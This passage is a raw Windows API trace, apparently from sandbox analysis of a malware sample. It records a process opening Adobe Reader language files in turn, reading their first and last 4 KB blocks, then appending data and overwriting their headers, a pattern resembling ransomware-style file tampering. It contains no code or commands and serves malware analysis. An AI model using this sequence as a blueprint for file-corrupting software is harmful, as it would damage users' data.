WriteFile (in: hFile=0x198, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.938] CloseHandle (hObject=0x198) returned 1 [0041.938] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.938] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.938] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6c96 [0041.938] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.938] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.938] ReleaseMutex (hMutex=0x128) returned 1 [0041.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SA.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SA.txt", lpUsedDefaultChar=0x0) returned 30 [0041.938] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.940] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5c96 [0041.940] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.941] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5c96 [0041.941] WriteFile (in: hFile=0x198, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.941] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.941] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.941] CloseHandle (hObject=0x198) returned 1 [0041.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.942] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.942] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x74c0 [0041.942] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.942] ReleaseMutex (hMutex=0x128) returned 1 [0041.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.cs.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.cs.txt", lpUsedDefaultChar=0x0) returned 27 [0041.942] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.944] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x64c0 [0041.944] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.945] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x64c0 [0041.945] WriteFile (in: hFile=0x198, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.945] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.945] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.945] CloseHandle (hObject=0x198) returned 1 [0041.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.945] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.945] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6e88 [0041.946] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.946] ReleaseMutex (hMutex=0x128) returned 1 [0041.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0041.946] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.947] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5e88 [0041.947] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.948] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5e88 [0041.948] WriteFile (in: hFile=0x198, lpBuffer=0x2766058*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766058*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.948] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.949] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.949] CloseHandle (hObject=0x198) returned 1 [0041.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6ec8 [0041.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.949] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.949] ReleaseMutex (hMutex=0x128) returned 1 [0041.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CR.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CR.txt", lpUsedDefaultChar=0x0) returned 30 [0041.949] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.951] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5ec8 [0041.951] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.953] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5ec8 [0041.953] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.954] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.954] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.954] CloseHandle (hObject=0x198) returned 1 [0041.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.954] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.954] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6ec8 [0041.954] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.954] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.954] ReleaseMutex (hMutex=0x128) returned 1 [0041.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PE.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PE.txt", lpUsedDefaultChar=0x0) returned 30 [0041.954] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.956] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5ec8 [0041.956] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.957] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5ec8 [0041.957] WriteFile (in: hFile=0x198, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.957] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.957] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.957] CloseHandle (hObject=0x198) returned 1 [0041.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.958] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.958] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6d74 [0041.958] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.958] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.958] ReleaseMutex (hMutex=0x128) returned 1 [0041.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi.txt", lpUsedDefaultChar=0x0) returned 27 [0041.959] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.960] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5d74 [0041.960] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.961] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5d74 [0041.961] WriteFile (in: hFile=0x198, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.961] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.961] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.961] CloseHandle (hObject=0x198) returned 1 [0041.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.962] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.962] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6dfe [0041.962] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.962] ReleaseMutex (hMutex=0x128) returned 1 [0041.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu.txt", lpUsedDefaultChar=0x0) returned 27 [0041.962] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.963] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5dfe [0041.963] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.964] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5dfe [0041.964] WriteFile (in: hFile=0x198, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.965] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.965] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.965] CloseHandle (hObject=0x198) returned 1 [0041.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.966] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.966] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x626a [0041.966] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.966] ReleaseMutex (hMutex=0x128) returned 1 [0041.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ko_KR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 